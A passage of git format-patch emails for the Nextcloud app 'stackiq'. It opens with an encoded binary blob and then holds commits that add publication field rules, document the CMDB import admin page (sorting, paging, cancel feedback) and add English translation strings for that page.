z=xJ<>>A6~HYu3@3S>El^(dWkZbqP%l8p<~G;vZ{ZycJ;EC`I7d#VP$*--eh{IjY3fm?s={^w~voBkJOU0 z3i@cDNT1qL{bs4m-W8uO*VoC(znyvc(!^2wR#m*<;P5u`&}ft8S+g<3WmH+``ik|} zYCqjx%%>shF_g49@w?4dXp>t$CaNUyA*u)Or7nK!+G_D+6E>+dYz@f~wVQiWHA0FHz+Ew>{_L(B;y|*-}*;F7ibHzOFDBcIB_ep}BrKQhATDWV!N|+wx+jdMi+`L|M)WPXa^VH4x6#3SK%--Eqc6p-RUg>ss;xnD6Dw(&dgfq(??8rIoXS6CZujQxqdV@(L zZywn&Kkezc+?of*bVr%)mSa7O@08ZtKg>Qy8~-F_g8p(1!+Y-!lx)5saO=?4FCQZg zFS&Q-{cm}nAIA0erKPt&&Dj6=(Fxmkavwe(8P$;8Sa!F&{^JIVo5y~A`F(z#lkNUJ z&!Q{#Z+vdK*hs~q@!A^m(bMhhKaQ~-@mS#_WxrQ+eZn!tP2cJsO)LKz%=KwSu3_HD zi1q3K|6Cn^f$La>=Cm@Zp|NO~(*s%WS8MY5W%VS#J)6Ax-5ZgZ8?HUIZJV2G+dK$rFPZj#3-$GUD5TW>a*0FLlK`{yZ-V7e(+(O?y?{0 zzS=I1t(EBp0o~mn%{ZM5KDmu=DDYD|aQ0f@>Y2xFMsw_(mAx+S;-ct{pT=Aoz1?8V zluyyz=G3ip-Rlkp%F>HCV$L@h99Vhgx#1?xA8RKY9PPLkFUP-j|K6Q<5A1)j-g4@~ z7t6j+{A}h~m#t#?=<{UzB}?M!R6~Nla2&V%d}*#~koEbCW27&AyqQq(-no`%VcW(a z$H|G(OCE-3bG_C)aQ($ZUyt>x#vDwS?{L^em*MMJX}5KaipqBL9qSF#&%gg+_*c;_ z=?nfB9((BR)cI*SyYtMm&|_++PV9Tjd)kY7wRDHhreC8^-rhN`Ly`VmFJ$9^ohoI| zuYG&DQn6Nb>4x*m3g+g=3BUZqdegb__ZN#jjhuevyvX>aTc&@1^!nFEw1~ITTG?Wy=Tttr7$k-N*tYb!=Bs$aD1*PcPt7|r;i4z! zh%JqGR8k{zZOzmN*ge)M{)@sXcSN%q-{e1*2`#=VFLG*PcA4VR87(TZ z)&g(TF100ZU&Nc~eoAfa(pkIC3EmXhV5W6%39Vs?R*C-StdMBFx!bNiQn}{9vFWzt znpY+p*7@kJs~(x~v-XC&)3u~1k!ISDY2i<_&3Ey{FS6Q_BBpiNX0eojb(zlwo6x6I z{)o7=dqU=|z}LQEF;-U|bRW#g>ikoB^t9V~M~q~zW~bhAPo8G9Sa1?8+RuMN<`PAH zRlzk+xdme5mOc->XIyvZsQOa5+5)$u;|^w?H^}N-%rlk7i>aTu!msGOMwpWdh_fA=HW;XxY+Dj+ZHr_fQHtB@mt^Dlwi}u&Hw=LVH`_AA0 z;bKV_u1ddH7oX%A{#{eggcXJyP`zM0?yAk}JFAL1CO9a5Ka>5nu66sumn*fUDt51- zEgzdyrs=+aX5zv4^nNv1G!k{c9de-EDh&?W5seb@Az4&K8cNX^s|;N=!CvGJf>7@@A;g3E z4(ykr+3m94FNJ-Ofhk}i{G4@VmBwo6aYq}{x>vt)t}h)u+swIimAla6>Q0V0sfOgc za*{UQ_2tGR^Uib6Tybcu$SYr|ONH&9t{=MTWwV`ErugVAxuEzJmWRqdYTGJT9{Ui) zqbYE~%k<-hJNg$ZW8Vg?DDhhp`scevK9hXacgbAIkXSwUj<@36i=kmw8~@0f$)(d2 z_CUX8IcEu9SdqOzevPL6B@}uzUd3Ix692d-zsYhNw}!#C1?y$ac+XYKa~{4u?Mj{EBViSTHQ&bz zOMajKxj0o$e|~vk3MZ;H|@?qBhq%7Q9tfw?2R<>F+TvgBo2 zpSOnf>^i@?iZ_4SWy`>;6HeZK@^X&inJ=6z4H1zCb?2GS`ngJN_R@{=i}X{+x%Na0 z$7_uV;GekIeYI+%^0q}ubu~xoBxj9o2+=R6b>>aG!d(YnqJ^ z=i~@cl?jeo%8LSHB16CY@p$C8tc|COs84mK)U~8!%~5$OQK|brjCaK@o1}=)sG4_b z`NnsTUtYIfb42TteFrCve0hA=!)?itoKov5UVatvzp&SERQda6&AG-;$}Lxq;3Hm-xi!)_r}c+2`a$Cy9bra!2d-k`TR&Qz&8^s(EeUw$K= z&k+e4``PWNidyc7X+p*f(mP?`<6+TxABNIgaN`r(ay<>@$?H&mNCS zc$;8R^fjHnO5nlcpq;-8vaUGJX#Ayl#`9&NT8?OupHIP75vs_~QD@r>?VYVpD{;s~ z9tqU&(~6##?RBndUzvexd7^l!W>HpK-Sw~g5b^D(X zkdTz_4oT^dlFx$eH{G4mf^?UJ3MeIwbP58(rn~PJ&-^Y>=1z0x`^X>ED;S~Lrl z3-f%xJe;|xZDW;~HIhy}4uwjq7Yk9HyTZ$H2k2AKUSt7;qA00}&H0VDmGme%wMwfm zRK|o#+fB->yQfUbUYttA8aur+bR00O23Ag(JhxWXKn?Y_C#keLc7w|+;({{hit~8P zH73Mv{GebamR3tGTRW%VBJU}8fMp$FYkm6@WZQ>oD39wiyj^4*bD-a+=+9+n1r>zr zuo#B|(qu_iuc#Ex$Ec&@i#ieWiyVCl*XN`!E1IZV(vg#*F4;`P-(ic@mOSw7xvF&Y%R8e@^gJ{#&a(Y8`_$ki_Oja`^SLfsTp$O^xW)+2)?nX# z&2waK-s85$oR7NBd_9g??pge=7}K%%Clgj2H>h-C#I_ChtHy)(DsCDm8 zA_O3bnr9tU^*ipdBW1OANDWW&N_$OF>(JvC`?KYo!+RbQ|nE-m@qThbOA{?~VFoibc(K$61;a8jcPDv7BnkSX0d+ z9}&q?*^F0&@A?d@J={JKqdKh!Se>l#wC{RpwqhlA#l5|>_z|D>lEOQ^?qiE(ZA5vb zxtUEbGkeoL9?gPT2exsRQpsteN8DxP_OAUGi5~`KS*f=VaN44ykk#`95O>F_-}Ww`U5cZbzJsxmvXg_kjp@zwo1mfSu*89W zIbSpb`7$bA8B?lm>0=&Mohjwy9*w0|=*#fpBNVc<`}F7w5LwHUQ*pp~T?3{H&dInu zA*rf7*uu%Zs6HErh^_JRrp4Z$xlVv%SA%&m0fm&oOIDj*`4>(yWq#r&$WNYSc2SV>{NHHOL6PncLB>5;W10EwH`V(B>)_f{b7oyX} zYOS>m?Da3Xnhq`aQWs3b@!X*x0?n$MvI*`EZc;Xc!9GcV8Vg3@cnNRvS7Cb8EUZL4 zvS|M43=$?QTr`I8yH6t2lvh8|0vu@vW!a_jyBv{ZTINinV}`HK$KRm9M3HGrWW+>A z8TpLh5C_$nnCT2F= zuyTU`2V!@UHK52oF#eI95x}m0zZrmA5mWP^Qhh=1A?em*EHYvNTG7@`p(HmkNWWfn z5g_oTWY(~RzMJ2BN*eRemxO}V_wJ(v9H(O}<;(k^n({;KF50HkmvAp*oY`{`gimxI zz=hU)S%Gae?n17kse#u{JW4gBPW)U2Txb1bVluquk@* zleh$bvN8I;NOJR?W^p8H=xqrpVq_yy4?0x_d_39leGCpEb8_#)ytg8;SY$ zGaGyIecpiOw2681^%jJusnTzK2Wr&qQm<_a8stv$NRl$dvhl@rui7wDLMOeH^Xe)2 zVe%g$6=E?-59mH8s*@Vt8(djKdP%{{TjsFUG)K78MhE-|5TXlHC$;j|Cu6JL_ICMr zJs$`yzgxavS5D~&_o%e6DI3?xLVP-f6^q$6fLq+Jyr*G1BEh7hmriEyRmuIe@brSw zH{{&UVbIyFjnVZ>$_$gbuiqIZG^O(9Dn>fJ7VJ<&Y$Ekg7qzj^aQM0|l6I8lSOce2 z(?x-Y0ibzWY=5!|3!m8GQXS`-#F&J;8rD_6W418~Xnk>j&z`4eZZG+YXN44AMt~tY zt7|JW-X4Z_bt)A5wHRg%PvnQzb*^2^SQ~5oIjLyqKy=4xy2}J$ibw;aA)D~P=P$%$ zLemlBUpVRLD;6~87wd(^uDG&Ey2hL{-d5P@+s|2{8U21)b_ZUEiNxKg*2umu zB>n9~5-vfr5F=!eTEkt?*hKYPG!?q%j%l0TJB;?MmvC(S9U8Aa8Zl{w z98Q1kPF)fH9JV6sieAO`qLhPvx#@9Hk$VFt0gS5O%jMmZiJ6l5H=E3d)(U+T86id+ zd8rd;i}i?;{SwsL2urLRD<`v_E#zv`?o1QS_bcOMGo>omMs!_S=kuH85OUH<{0v#i zO++Ux$GF4UiXOeyNA9jPIEF!H*&>CF{#dN`KDE0zxB^k)iP8oq5u-nuX=NajXh;ne zgONZ9o$sUc-MVD2OZIxYAwDs^S2KA|C)5^8^XDITCOo$?$W(F79poonQ;+EiFBb8| z)7zls)wIid5!a9|->t))2G(=ePck6q_Nzr#ogI&}*L~D3Os-+q%G!CYXr7CD##>lQ z;Ez-+Ug|cBJl?|^;N{R`QRIqJu#Q=zv090J`Yv~Hl}q`-CZt@HSDP4~DHmQP5xym+ zzxl*5yiAN{WES=ZY9AK{0W)mzH^K=lL$6u(;{zgkBw-V;7jP1rxe~}v<-`d_vY+J` zXp!|U%&dv-9!-umdFvRFvR~nZ7i+dP%To^|W4BdwEuM8vEPB-P)X@@?i4OpYEMpzl zj`@0hjB{sQnR#?Rm(WP z)|L-Bz0q`4fG||4B6-f5sDJjZ-;l*?CD-CZL+%gfX3yT5R$d!-n2)R52T@lEp|BMb zVNaD%>&}$;vCwpK_kU61b>$IV^;U&4-8VSs31_H)BfmVKJ$txJ)p8~48>oGU6Mukf z-+%w8uwIz_`5cL;TZHS}Ws6<=#dyg3(L({?0@lVMc96lbkHmiVh(<_&*>=MlWtf8J z#7>6~z8<=e?=@19HKE+OD+FYlQBdZ%i`a8ku$>+v@W%5xjJoQ{Q_1P2xn{n|N%vgZ z0iE6F)wqmw)Ax@?xb@41!;gdX^wKhfUG&H_?v1)cOkuc&SC0FD?T?Qe^^LbcD~$ul z|FA#4Ns->{k4s}J<)B%R1YIevNcZF%#v!wd8XrO^!C}!5KXqu89_xA>6XZC9?bp$pGr(vO70-igoBZIWMm)|Up;{V{P08^No$9u3Xvk77Ef z0z;h(gT)qe-i@UuN?{t(K8;~PtM9q*_;zZTuNYtw#9Amiu2X!G2HB3LY$bNjot070 z3MJ&KEplWTX;yR}D|jOXlg_v^VUP9G6f*t22>1LVp`MW`^SNHN&a8gvqib4od|J=W zCgK*~{_%!`zJRL7hFVWM?0A*40!h2Cn$B4wWtY9LKYbR6_%u`=i1PCS4Wok|qZxF& zg#Xj+did{jLc~C&MLRPp>_SVlD{8&C!$W`)y(w)#NyIrs=(9S}&A34w>5HQw^)zH$ zAMY*RtFvdB)Q4dyA{2;lI)1`?m56NWCl&%nYV_URQ{Do$q;wu?o(UNEN<0L-OF!a*&ZnC@F1QJ6AIQ!x0wPb zj^8bL9tg0;UhKE!5lArWDdr(93pep)sSkQgTkk8*L;0CoRBO)hLHumINFrM9ZyC?_ zgYiP&jE5QYB5_5nj#>sNNmZoF-Zh%ehg0}cNpBDZFwsn%R_mQ|8v3%zYJ0Nz)iYxh z8!Iw|9_S2>&|Sct;n%d@~(kG%V6Y3L1W#zmfea3JC5M;p5v^2Bpen*&E1As%c8Da(_Y zt*R~iF~w>>yOWG2oyTvv6UV>rD0nRKB!7z~zY^Iqh@wAYN%(s#5#Geo%1JV{bLU6W z*nsC{f~2PtFnILObmY%D73d>*I7NjK5g!sv&r0uy#Kk#u7)q3c3R~&lm)!nPL2U0* zVkk@}OS})v>)=aXzKFsfY*u|@y=MzOl~CCKBH-B;a#opi+x0}{_VdoDHQO6^x``!) zA7ja}^bNG1IX)P+0iu{NJZvbT5B>Jcxc6& z0Ubp&9avZ~2R2COFr1w{RC&WPEVgn|AFCz%uN!dtw4Q9rURetsKP_4^BPH&{8?}=@ zA?B4+-Z??LbQg&g&`pkqhF`$|#izDelIeX!O##<|#-Vw?w@#(*>T|PT%0C_ry#8jq z2xu~)_`b*gbw-+n`3LJ|Z>G@&uPo3sT5jZuCR_oOr8P>+gnqR*fmJCk%u3t6nQM$* zwYImLZ0jcLs$+5(^z9i^d*ko46z3LJ+vH z%X`-APhtDrdg$-gi-W9x<5J#Oc3?}wY;Bm4U+?;}-v=lPr2Llj+&>uq#{=|Vejm^A zKk@qvq5s)4K-o%D_Lo%Fw1Ypkdvzr>9COd#a? z>FFb9sqHKkNd=g742iXc!4{iMXUj#VN#yZ0r|V1YAYnu%NfS<9Ue;;t?Qp7coE(R` zmm`w0@S0nIs}_hOMQ%->ENav7u7; z=k^hP_4kX{pQu=a_7B$TFk<5^-#|1G)ZlqY?*i3Yf%E=(m|Q-*Yall*W+xNhh%^-} z;;G(UNZ6?sOHVvLu{IrB<)foQp*;zXgYzwy)15fxAwDEO^`h><8QO7V~E!s-!2&+gl#vzX1(q2^9a zRDNaNiAl;GJDzMOswmT^7HbkaDnxPfY4}+9E*EEvN#}W!6SlH@9RI7tE1j@IkA9eP z3Yp3?Z)ZQuk3QO}to(7+spG3^&yJYnS49}+p!Bw&eeRx4kQNfuHWO}$mVC@$KMBrx z=^T^h8Zl6nvT0nQ+^6GMp-%8@n1Blx`q?99tk9*HT!q)yKYOsnhkb!Kkcgw8g#h(; z5$!<9IVWQWWn(9&Z&^Afuc9?U-~ zv}W6dfi{r6D0YM&tBr#o zkLR{Y)#cPv8bZU~f2VaNFe5T^ne9Te#z61vG(N!Ubmkvhygh5aU zu~AKR4xOiD;JrJlGz4(D^okCe;+K4VpO}fI-KeQi_sF;t<(U8zWq_Q^9- z3O*>2Mq?|!$;COqa;n8~mBNoSP`p5lAy&gkN!WU|V4;Xv*bLZc#4126 zY+IIUtIX*_SSSQU*rzPxK4S{@FC(-cXOk}$NZ#4BZg0rbr|Fa==tF=v^lE4R=v+O* zqU%;{Jmp6lI4}zYo0n^lqkXhMx<31DT_1kewO6WL@cyH?`;`s$UvnhvpI`^@8)zj} zN>UCRNl_)(kQ3UGP>{;LgWI}5P`kwN>9F0wKFGIFL=#7PJwr()W=(+R*Y@zR%xwBv`@^3iD=XI_q6+>67bHLjudL7T4vs#U7p+>GRpJF zcD_bSeOQ0gX9P?ibLs?%I9f?MkUndI62htePi9Ur%g(5; zg69{Q)?`2BkcAEgAPz7)q8w*5vLZRkgf9ra^+U$EXIC>M1oI?a`DGwg1WyD)A%zl+ zrYTnkzPjSH$6KY5Eybrai#Fo(8NPm%v=0>0A4aIaI?oeKG^x8q$OABX&+U-v({~|@ zfT|A+Pq}8V%S^v2`_!4dm(@8Z_8|b8cH=!k_pI|t-PZwDS|W8(KH5{rBrse^Ze}Gh z87>*x-p-PqD^hF~32mNI|B`A}%BC|ln{$C?^C}mUa=)a23<+TAX#hNuZOHEo5(y_y z=+WqZTx1jvlM+fE4%lc4{L-FK&6Qs6K-Mi%tkX#&VYFWO0A55~0C{ONl6o(I{V1h9&a%&CpcFE8v4FV3|B(nn@rX7xzT_8jSFeg1y@u>GjdKk@T_ zE`Hd5)aRf0`CpEozdyfm{G-qR>G_TGM}7X8-~N~9x4-}V;rd6P|BvgpjEwc`T+sU3 z8V&*i_4~fbP~XZ>#7y7Z=G*Sq`IDBdKQjT$&N1aVa^5z^4u|&R=Wed+jIU+q@46VY zy;rERn)hZ7SUepU_jyElP&4Xs%)67oL=+}+KUJpOOlC0~e-n9e&S>M)PXE(TiFCWw z6U8psqjs1L7aQBDvZbcFRRUp3FJT&)70T{ip(g|rcs?O8 z+yVkR-O*1ho{XegMDzPPPnDskm8co_yfb3RKlz%*eE9J)-LXRcso<94INq@jd2JiL zmcPbeGz?nxQ)#TnGS6jY(J7K)oHbBc5LJzZI_TBozWquE>+whbd*6P@VJzf-8d#Xb zYaO4D=}AZ7c}+|}f`sX8BaEPc>rPyN$ zc`VxX3ml!!Gv_K1%CBgZ`O7r&!QmlDAxLY~LU}<|LT)1JH zP+ucP#We9rqp>7IyzVG1t~ovWwD{qYBnhnz*aIaM)SllN(A5y#i`^xVJbZ+`5k#Sp zM~M;(UE4C;f9am{IliF%X^+LO_~a?f&kMfyfD))$kf8MN5D+xKw-IK(i8z&6i&4S* zSFxCd!8E$Z28wq)E7`59XOA43FlOVe(Bn!DI5$JuI@-S?-Mp}HLWGR z4@02qLhuK=ayecN;NtX$qqPZVvXLDQy;lzZx*;rR5LxdgqA}u)oMs<3`ch9gH^9Ew z@f>gQ!&V!*Ubnd*sY}wHd^_Q$OEL7*F@p?!xRE}dkJof9|XeD$^^Us50+k6 zhfqfec%AADcygZArS5KwvR^4*bf@XDaA#0-mR><5>=HrSbdnxbhCy$2k$TjibctAS zTyn5_8~_cXR8f#48Rf*TSfvQTARP=1F)!_b(nqBn8kFU-)LrQt zrWSUcuVU;1`a=JupX~wma707Vt)vfweA?9nq+! zUbT4_?;2sCwf8Wy^#k1r?9bBw{k01Bk8|xmYsvrRwPZI(WW6^iG_jyT1uIZ!8rd2u zIM~`bG8x)B7=N2=y<*?Vfl`fu+Y;xjzNP3jUKw7rP8Lw$Vbif6tfqd&QxWSkbV*i zy{XJwo8BpUO8f-F%QqNHNsJ;X4_W#s6o+C}@{MrrFn}Pk1DhB>ApQe8iqxB8_8p~Q z={X3xT!mdiW)$+6dlI?gMiU*cp>g`M17QiMbY&2{cgQ-ZURbZilbaga<1dsrGevF< z7>OHB*TuO^X_#O63(Q`7ua%{0)lVnDsxpKpnpFl`yh9-sHQ&F0#XH|iRwyB-IjF?` z02sSKo*omAli=>|G9meD20grV=tT|VFiyAlsAVM##<6-6Ue8h`bVpwqg}Xb@`e@0w z+YGU4ep1&xeeOzgwzBBHaY~pwqe*d2{77SZ-_<4+&sPD6w8e|(Tt(&~!6M_LVl{#iPv0Jl{}xN% z&hDF5FI03ar-=|Brmj%tU}NOH+%dphXNkV~PM^V4j;;bKo|>UV zHdP&O)p`$lb3<1+Fm$MO0w4lp#>$K}pCJ)u6C2i*4DQ5pZIgD2az_}`i{^_6O2x-C z%Gwipf@fXhrv4b$4M%D-SG>0K;d&>2N!3(I5_UGBPU=;PO$cR9-%chD;+N@Yy z&{WtQ3`r3qy&9Q34R@hD(s`wJY~|u{kBC<S4>}}&(SGIrX`d1L*E`~?!KxY8H)hqt>;S2c{gaS3Eek)uV*xFkD>aPmBdC*9L z`0b#6R=j_W1ikt~l7Lo#puyk&@Q;XJUc@WQ1i39_2#Bvv5D+*&ak4?=KQ7{r^BgxX zH=QcrrYLvpFGPagzsLekd5`@|%1r|YI0ZtL_pYEl1O)u!J7CumLh?(>&8ZS_N)wms zF~buGi0=E)V3g~aUs7)RDZnWnc)P?{X(n(W_|cwQU=Ga<@b;h&_)zff^xL6$ zjNgZX_o{;vz`M=nVa;vt88{HUAL|y_#Q7J%+wLrIAb5|{EwF*>FMzilPvAiC zzM)%SE%#plZ@Y-Vf#7X3w?H`FzX0Ag(SQTNTTyO-cliDSc-xo)4g_!SxCKH!`U~J~ zvj;d3yk+7Rc=cDn9~vmYiQsJrx5NwnzqrKPrUY;xcxnF@cq(uM{ISpvJ{Y{Dd^@;R z=w>ijLHU;jW^gEYKI|5nDDpedo9ZSw6nx`%3*`{~9q3I-4jlUDS2`y4JJ6dt5;*kF zuhd22cc3@LkKc!4N&OD=CSwl{{d4o{q<;r`lV<*XsH*JmKyPxR;85@s-mUsaayQVQ z5_;gH!ShA8qdOIT=aN9-4CJP*J*xxBg!@z!f2QBDx2edwCPzNopA^r Date: Thu, 1 Oct 2026 22:27:00 +0200 Subject: [PATCH 062/176] feat(publication): stackiq's private fields stay private when OpenCatalogi publishes the landscape (#1206) Adds property-level read rules so contracts, licences, costs, contact persons, DPIA and processing-register references are readable by signed-in users only, while published applications stay public. A usage is public only once it has a publicationDate, without its internal fields. A module version is now public only while its application is (two mirrored fields kept in step by a listener, plus a repair step for existing versions). Register fragments now merge so the highest schema version wins regardless of file name. Verified live: an anonymous reader sees a published application without its private fields, and a version of an unpublished application stays hidden. --- appinfo/info.xml | 3 +- l10n/en.js | 6 +- l10n/en.json | 6 +- l10n/nl.js | 6 +- l10n/nl.json | 6 +- lib/AppInfo/Application.php | 5 + .../ModuleVersionPublicationListener.php | 81 +++ .../BackfillModuleVersionPublication.php | 106 ++++ .../ModuleVersionPublicationService.php | 267 ++++++++++ lib/Service/SettingsService.php | 34 +- .../register.d/publication-field-rules.json | 486 ++++++++++++++++++ .../changes/publication-field-rules/design.md | 42 ++ .../publication-field-rules/proposal.md | 36 ++ .../specs/publication-field-rules/spec.md | 48 ++ .../changes/publication-field-rules/tasks.md | 32 ++ .../ModuleVersionPublicationServiceTest.php | 212 ++++++++ .../Settings/PublicationFieldRulesTest.php | 169 ++++++ tests/live/publication-field-rules-live.sh | 71 +++ 18 files changed, 1610 insertions(+), 6 deletions(-) create mode 100644 lib/EventListener/ModuleVersionPublicationListener.php create mode 100644 lib/Repair/BackfillModuleVersionPublication.php create mode 100644 lib/Service/ModuleVersionPublicationService.php create mode 100644 lib/Settings/register.d/publication-field-rules.json create mode 100644 openspec/changes/publication-field-rules/design.md create mode 100644 openspec/changes/publication-field-rules/proposal.md create mode 100644 openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md create mode 100644 openspec/changes/publication-field-rules/tasks.md create mode 100644 tests/Unit/Service/ModuleVersionPublicationServiceTest.php create mode 100644 tests/Unit/Settings/PublicationFieldRulesTest.php create mode 100755 tests/live/publication-field-rules-live.sh diff --git a/appinfo/info.xml b/appinfo/info.xml index c296c0ece..a0bf88214 100644 --- a/appinfo/info.xml +++ b/appinfo/info.xml @@ -50,7 +50,7 @@ Vrij en open source onder de EUPL-licentie. **Ondersteuning:** Voor ondersteuning, neem contact op via support@conduction.nl. Voor een Service Level Agreement (SLA), neem contact op via sales@conduction.nl. ]]> - 0.2.3-unstable.20260912202721 + 0.2.4-unstable.20261001120000 EUPL-1.2 Conduction Stackiq @@ -224,6 +224,7 @@ Vrij en open source onder de EUPL-licentie. OCA\Stackiq\Repair\InitializeSettings OCA\Stackiq\Repair\MigrateContactsToNc OCA\Stackiq\Repair\BackfillContractApprovalState + OCA\Stackiq\Repair\BackfillModuleVersionPublication - 1. Open **Administration settings → Stackiq** and scroll to **CMDB import**. 2. **Municipality.** Pick an existing organisation of type Municipality from the list, or type the name of a new one and press Enter. A typed name that @@ -69,8 +67,6 @@ page in stackiq. **Cancel import** stops the import before the next row; rows that were already processed stay imported. - - When the import finishes, the section shows: - the **summary**: rows read, created, updated, unchanged, skipped, failed @@ -81,8 +77,6 @@ When the import finishes, the section shows: and the reasons and warnings for that row. Filter it with **Show rows with outcome**. The application name links to the module in stackiq. - - The municipality stays selected after an import, so a second import goes to the same organisation. diff --git a/openspec/changes/cmdb-export-import/tasks.md b/openspec/changes/cmdb-export-import/tasks.md index 87b64c26e..5c957da9e 100644 --- a/openspec/changes/cmdb-export-import/tasks.md +++ b/openspec/changes/cmdb-export-import/tasks.md @@ -94,6 +94,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - GIVEN Newman WHEN run against the rig THEN 403 for a non-admin and for a `software-catalog-admins` member, 412 without requesttoken, 413 for an oversized file, 422 `MISSING_RECORDS_UNSUPPORTED`, and 200 with the report for the fixture - [x] Implement - [ ] Test + - Status: the PHPUnit controller tests pass. The Newman folder "12 - CMDB import" has not been run against the current revision, so the Newman criterion above is open. ### Task 9: CMDB import section in admin settings, l10n and Playwright e2e - **spec_ref**: `SPEC#requirement-the-admin-settings-shall-offer-a-cmdb-import-section-req-cmdb-014` (cmdb-export-import#REQ-CMDB-014, #REQ-CMDB-003, #REQ-CMDB-011) @@ -106,6 +107,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - The e2e file references every `@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts` scenario in the spec (hydra gate e2e-coverage) - [x] Implement - [ ] Test + - Status: the jest tests of `src/utils/cmdbImport.js` pass. The Playwright file has not been run against the current revision (it now also covers the typed municipality, cancel and the refusal of a user without the stackiq admin settings). ### Task 10: Administrator documentation with screenshots - **spec_ref**: `SPEC#purpose` @@ -115,6 +117,7 @@ Spec: `openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md` (`S - GIVEN the prerequisites section THEN it explains the OpenCatalogi catalogue (registers `stackiq`, schema `module`) and the Portaliq account claim `stackiq.organisationId`, needed to see the data there - GIVEN Playwright MCP on the rig WHEN screenshots are taken of the empty section, a running import and a finished report (sanitised fixture only) THEN they are committed under `docs/images/` - [ ] Implement + - Status: the page text (first two criteria) is written. The three screenshots are not taken yet, because they need a running instance; the page carries no placeholder for them until they exist. - [ ] Test (screenshots reviewed: no data other than the sanitised fixture visible) ### Task 11: Rework to the CMDB sheets (decisions of 2026-10-01) From e090574d679b688760a652020f34069242825501 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:14:32 +0200 Subject: [PATCH 113/176] docs(cmdb-import): describe the report paging, sorting and cancel feedback The admin docs now say that the rows table can be sorted on a column header and shows 100 rows at a time with a "Show 100 more rows" button, and that the section reports whether a cancel was accepted. Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index e669b4a2f..14c1c60bd 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -65,7 +65,9 @@ page in stackiq. and nothing about them changes. 5. Press **Import**. A progress bar shows how many rows have been processed. **Cancel import** stops the import before the next row; rows that were - already processed stay imported. + already processed stay imported. The section says whether the server + accepted the cancel; one pressed before the server has started on the + rows cannot take effect yet, and the section says so. When the import finishes, the section shows: @@ -75,7 +77,9 @@ When the import finishes, the section shows: missing; - the **rows** table: sheet, row number, APPID, application, outcome, and the reasons and warnings for that row. Filter it with **Show rows with - outcome**. The application name links to the module in stackiq. + outcome**, and sort it by clicking a column header. It shows 100 rows at a + time; **Show 100 more rows** adds the next ones. The application name links + to the module in stackiq. The municipality stays selected after an import, so a second import goes to the same organisation. From 24604f0e1376c5352f57636df78f10e73e294c4e Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:21:15 +0200 Subject: [PATCH 114/176] fix(l10n): translate the CMDB import page's new limit, interruption, cancel and refusal texts The page now takes its limits from the server, recovers from a cut-off request, reports the outcome of Cancel import, pages the report and maps FIELD_INVALID, UPLOAD_FAILED and the delegated-admin refusal; none of those texts had a catalogue key yet. Co-Authored-By: Claude Opus 5.5 --- l10n/en.js | 21 ++++++++++++++++++++- l10n/en.json | 21 ++++++++++++++++++++- l10n/nl.js | 21 ++++++++++++++++++++- l10n/nl.json | 21 ++++++++++++++++++++- 4 files changed, 80 insertions(+), 4 deletions(-) diff --git a/l10n/en.js b/l10n/en.js index a0f4a86fe..02b4c7800 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1083,7 +1083,26 @@ OC.L10N.register( "The BBN level (Baseline Informatiebeveiliging Overheid) this application is classified at. BBN2+ is a level the TOPdesk CMDB export uses.": "The BBN level (Baseline Informatiebeveiliging Overheid) this application is classified at. BBN2+ is a level the TOPdesk CMDB export uses.", "Field \"%1$s\" must be one of: %2$s.": "Field \"%1$s\" must be one of: %2$s.", "Field \"%s\" has an invalid value.": "Field \"%s\" has an invalid value.", - "The server could not store the uploaded file. The details are in the Nextcloud log.": "The server could not store the uploaded file. The details are in the Nextcloud log." + "The server could not store the uploaded file. The details are in the Nextcloud log.": "The server could not store the uploaded file. The details are in the Nextcloud log.", + "The file is larger than {size}, the most the import accepts.": "The file is larger than {size}, the most the import accepts.", + "The file is larger than the server accepts.": "The file is larger than the server accepts.", + "A source sheet may hold at most {limit} rows. Split the export and import the parts one after the other.": "A source sheet may hold at most {limit} rows. Split the export and import the parts one after the other.", + "Split the export and import the parts one after the other.": "Split the export and import the parts one after the other.", + "Excel workbook (.xlsx) with the sheet \"{first}\" or \"{second}\". By default the file may be at most {size}.": "Excel workbook (.xlsx) with the sheet \"{first}\" or \"{second}\". By default the file may be at most {size}.", + "The sheets \"{first}\" (applications without arranged maintenance) and \"{second}\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.": "The sheets \"{first}\" (applications without arranged maintenance) and \"{second}\" (with arranged maintenance) are read; other sheets, including the \"Invoer\" sheets, are ignored.", + "The page got no answer from the import.": "The page got no answer from the import.", + "The connection was cut off before the import answered, so it may still be running or may have finished. Wait a few minutes and check the applications of the municipality before you import again. Importing the same file again creates no duplicates.": "The connection was cut off before the import answered, so it may still be running or may have finished. Wait a few minutes and check the applications of the municipality before you import again. Importing the same file again creates no duplicates.", + "The import cannot be cancelled now: the server has not started its rows yet, or has already finished them. If the import keeps running, press Cancel import again in a moment.": "The import cannot be cancelled now: the server has not started its rows yet, or has already finished them. If the import keeps running, press Cancel import again in a moment.", + "The import could not be cancelled: {reason}": "The import could not be cancelled: {reason}", + "Cancelling the import. It stops before the next row; the rows already processed stay imported.": "Cancelling the import. It stops before the next row; the rows already processed stay imported.", + "Showing {shown} of {total} rows.": "Showing {shown} of {total} rows.", + "Show {count} more rows": "Show {count} more rows", + "The request field \"{field}\" has a value the import does not accept.": "The request field \"{field}\" has a value the import does not accept.", + "Accepted values: {accepted}. Reload the page and try again.": "Accepted values: {accepted}. Reload the page and try again.", + "The server could not store the uploaded file.": "The server could not store the uploaded file.", + "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.", + "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "You may not use stackiq's admin settings, so you cannot import a CMDB export.", + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group." }, "nplurals=2; plural=(n != 